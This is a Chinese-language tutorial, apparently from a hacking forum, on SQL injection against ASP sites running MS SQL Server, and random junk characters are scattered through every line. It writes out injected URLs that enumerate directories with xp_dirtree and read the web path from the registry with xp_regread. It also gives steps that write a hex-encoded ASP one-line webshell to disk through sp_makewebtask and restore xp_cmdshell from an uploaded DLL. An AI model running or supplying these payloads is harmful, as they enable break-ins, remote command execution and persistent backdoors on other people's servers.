好,我们exec master..xp_dirtree'd:/test'+ _& ]8 U" y1 Y$ A9 {
假设我们在test里有两个文件夹test1和test2在test1里又有test3$ A1 A! r7 M% D9 O6 f. K& F5 @' j
结果显示
9 G2 W; \- P6 O# a1 U# f
0 f/ r! p% g [1 j( j0 e' vsubdirectory depth9 @) H- @/ q; l' Z, e' \, R0 X
test1 1
+ l+ v# B3 Y4 P) C+ c& Utest3 2
9 A; N1 g( h. Ntest2 1
. N( N ~! h/ h5 O
" P% C- f* x- U9 V( U3 e8 G' v哈哈发现没有那个depth就是目录的级数$ P5 V6 G% D2 d9 n) @) E
ok了,知道怎么办了吧6 y9 ?; a* y$ _) j
* m, E* _, b# E. ]& p
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- - ]/ y y/ S' z. b% M
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
" u. b8 e! K8 N+ `, `6 Zhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-' N# K' c7 x; K6 s
9 _0 `( z2 M9 B2 b0 |! E只要加上id=1,就是第一级目录 。
* `* a2 O) j, F: [7 z5 K
5 a0 Q* N8 X0 r! H4 |7 z2 _7 k
通过注册表读网站路径:7 x. ?4 y' J& @( W8 Z
& f9 D4 w" b/ p/ _; K5 a
1.;create table [dbo].[cyfd] ([gyfd][char](255));. `3 G& c, w# Z1 v0 { F! d5 e" u ]
5 H7 z& j1 Y- W# H$ X! @
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--+ J1 r) N# S/ m3 Q
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
* e9 c: v2 f9 g, T' `" H. V* N0 X9 j( r: q
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
0 x0 A4 J' ^" q" O) Zand 1=(select count(*) from cyfd where gyfd > 1)
! c: L/ o" l' k1 c- n& Y! i. t# {$ N1 m这样IE报错,就把刚才插进去的Web路径的值报出来了
* K$ J8 b5 r: K1 N3 z/ T( E
4 y. U3 e! f8 ~* S4.drop table cyfd;-- 删除临时表4 t9 K# h$ Q9 \: E7 G
; @: b* c$ u1 {$ }
获得webshell方法:* L9 {+ N7 g/ W X$ B1 W
1.create table cmd (a image)-- \**cmd是创建的临时表
; R+ u- p4 T! I9 { g1 E% ?/ N: E
( c5 O7 X" L' D3 u5 \- V5 e/ I. u2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
/ _9 ]4 u- b) ]9 o0 w4 J7 j+ g2 \1 w
, i* E$ a- ^3 [( D7 t1 H: F$ _0 ^$ H0 l1 m$ E* N
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd': L1 Y; E) H" g& G+ M
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'/ s* Z. y( |; ]( j
8 ]3 P8 o8 \, g
4.drop table cmd;-- 删除cmd临时表
6 g( V( Y8 n. Y: [- E" u; K9 }. ~) y
恢复xp_cmdshell方法之一:
& f9 {5 u5 g9 D: M# ?; K) K我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
0 \$ N8 W+ ?" t7 j8 o. f7 thttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
; J) E3 |7 L% b恢复,支持绝对路径的恢复哦。:)
* A+ ?1 `4 A7 r) e, N6 ?" P |